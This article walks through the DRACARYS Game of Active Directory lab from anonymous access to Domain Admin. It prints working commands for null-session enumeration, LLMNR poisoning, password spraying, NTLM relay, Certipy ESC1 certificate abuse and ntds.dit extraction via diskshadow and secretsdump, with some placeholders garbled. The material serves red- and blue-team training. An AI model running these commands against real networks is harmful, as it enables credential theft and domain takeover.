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Introduction
The cybersecurity community has been gifted a new proving ground. Cyril Servieres, a renowned Pentester and Red Teamer at Orange Cyberdefense and Microsoft MVP, has just released “DRACARYS,” the latest lab environment within the renowned Game of Active Directory (GOAD) project. This new challenge is designed to sharpen the skills of offensive security professionals by simulating a realistic Active Directory (AD) environment riddled with vulnerabilities. The mission is clear and brutal: begin with zero credentials, no initial access, and fight your way up to full Domain Admin compromise . This article provides a technical roadmap for the DRACARYS lab, exploring the attack paths from initial enumeration to total domain takeover, incorporating modern exploitation techniques and commands.
Learning Objectives
- Master initial Active Directory enumeration techniques to identify low-hanging fruit without credentials.
- Understand and execute common AD attack vectors including NTLM relay, Kerberoasting, and AD CS abuse.
- Learn to chain multiple misconfigurations to escalate privileges from a standard user to Enterprise Admin.
You Should Know
1. Initial Foothold: The Art of Anonymous Enumeration
The challenge begins with no authentication. Your first step is to stand in the network and listen. Attackers often start by exploiting legacy protocols and misconfigurations that allow anonymous access.
– SMB Null Sessions: One of the oldest tricks in the book, but still effective. You can attempt to connect to a Domain Controller via SMB without a username or password to enumerate users, groups, and shares .
Using rpcclient for null session enumeration rpcclient -U "" -N [bash] rpcclient $> enumdomusers rpcclient $> enumdomgroups
– LLMNR/mDNS Poisoning: If you are on the local network, you can poison link-local multicast name resolution (LLMNR) requests. When a user mistypes a share name, their machine broadcasts a request. Tools like Responder can intercept this, forcing the user to authenticate to you and capturing their NetNTLMv2 hash .
Start Responder to poison LLMNR and capture hashes sudo responder -I eth0 -Pdv
2. Credential Harvesting: Password Spraying and Relay
Once you have a list of usernames (from Step 1) or a single hash, the goal shifts to obtaining a usable credential.
– Password Spraying: With a user list, you can attempt to log in using the most common, weak passwords (e.g., Passw0rd, Welcome1, Season2026). This avoids account lockouts that brute-force attacks trigger .
Using Kerbrute for password spraying ./kerbrute_linux_amd64 passwordspray -d lab.local --dc [bash] users.txt 'Welcome1'
– NTLM Relay: Instead of cracking the hash captured by Responder, you can relay it. If you find a server that does not enforce SMB signing (a common misconfiguration), you can forward the captured authentication to that server, effectively logging in as the victim without knowing their password .
Disable SMB and HTTP in Responder config, then run ntlmrelayx Target a list of servers lacking SMB signing ntlmrelayx.py -tf targets.txt -smb2support -socks
- Lateral Movement: From User to Admin via AD CS
After gaining a standard user foothold, internal enumeration is key. You are looking for privilege escalation paths. Active Directory Certificate Services (AD CS) is a frequent source of such paths .
– ESC1 – Misconfigured Certificate Templates: The “ESC1” vulnerability occurs when a certificate template allows low-privileged users to enroll and also allows them to supply an arbitrary Subject Alternative Name (SAN). This lets you request a certificate impersonating a Domain Admin .
Use Certipy to find vulnerabilities certipy find -u '[email protected]' -p 'Password' -dc-ip [bash] -stdout Exploit ESC1 to request a cert as Administrator certipy req -u '[email protected]' -p 'Password' -dc-ip [bash] -ca 'CA-SERVER' -template 'VulnTemplate' -upn '[email protected]' Authenticate with the new certificate to get the Administrator hash certipy auth -pfx administrator.pfx -dc-ip [bash]
4. Privilege Escalation: The Backup Operator’s Dirty Secret
Perhaps you land on a machine where your user is a member of the Backup Operators group. This group is granted privileges to log on locally and back up files, even if those files are normally locked by the system. This allows for the extraction of the `ntds.dit` database, which contains all domain credentials .
On the target machine as Backup Operator, use diskshadow Create a script (shadow.txt) to create a volume shadow copy set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exit diskshadow /s shadow.txt Copy the ntds.dit from the shadow copy copy z:\windows\ntds\ntds.dit C:\temp\ntds.dit Save the SYSTEM hive to decrypt it reg save hklm\system C:\temp\system
Transfer these files to your attack machine to extract all hashes with secretsdump.
Extract domain hashes offline impacket-secretsdump -system system -ntds ntds.dit LOCAL
- Modern Warfare: Exploiting dMSA in Windows Server 2025
If the DRACARYS lab includes a Windows Server 2025 Domain Controller, a new and devastating attack vector appears: Delegated Managed Service Accounts (dMSA) . The “BadSuccessor” technique shows that if an attacker has `CreateChild` permissions on an Organizational Unit (OU) and `GenericWrite` over a user object, they can link a malicious dMSA to a privileged account (like a Domain Admin). The KDC then includes the high-privilege groups in the dMSA’s ticket, allowing for DCSync operations .Conceptual exploitation using SharpSuccessor or BOFs This creates a dMSA object and sets its predecessor to a Domain Admin The attacker can then authenticate as the dMSA and inherit DA privileges. SharpSuccessor.exe /target:”CN=Target User,OU=Users,DC=lab,DC=local”
What Undercode Say
The release of DRACARYS is more than just a new Capture The Flag; it is a reflection of the evolving complexity of modern Active Directory security. It forces practitioners to move beyond simple “smash-and-grab” techniques and understand the intricate relationships between legacy protocols (NTLM, LLMNR), critical infrastructure (AD CS), and newly introduced features (dMSA in Server 2025). The path from zero to Domain Admin is rarely a straight line; it is a web of chained misconfigurations.
– Key Takeaway 1: Defense in depth is not just a buzzword. In the lab, one missing security control (like SMB signing) can be the catalyst that turns a captured hash into a Domain Admin relay.
– Key Takeaway 2: Continuous learning is non-negotiable. As Microsoft introduces new features like dMSA in Windows Server 2025, they inadvertently create new attack surfaces. The “BadSuccessor” technique proves that yesterday’s patch does not guarantee tomorrow’s security.
– Analysis: The DRACARYS lab serves as a critical training ground, enabling blue teams to understand how attackers operate and allowing red teams to refine their tradecraft in a safe, legal environment. By mastering these paths, professionals learn to see the domain the way an attacker does: not as a collection of isolated servers, but as a graph of interconnected trust relationships where a single edge can lead to total compromise.
Prediction
As Windows Server 2025 and similar technologies gain broader adoption in enterprise environments, the attack surface will expand dramatically. We predict a surge in compromise attempts leveraging dMSA abuse and certificate service misconfigurations. The “BadSuccessor” class of attacks will likely be a dominant theme in penetration testing reports over the next 24 months, forcing organizations to rapidly audit and lockdown their Active Directory delegation models to prevent a new wave of sophisticated, low-privilege to Domain Admin takeovers.
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Reported By: Cyril Servieres – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
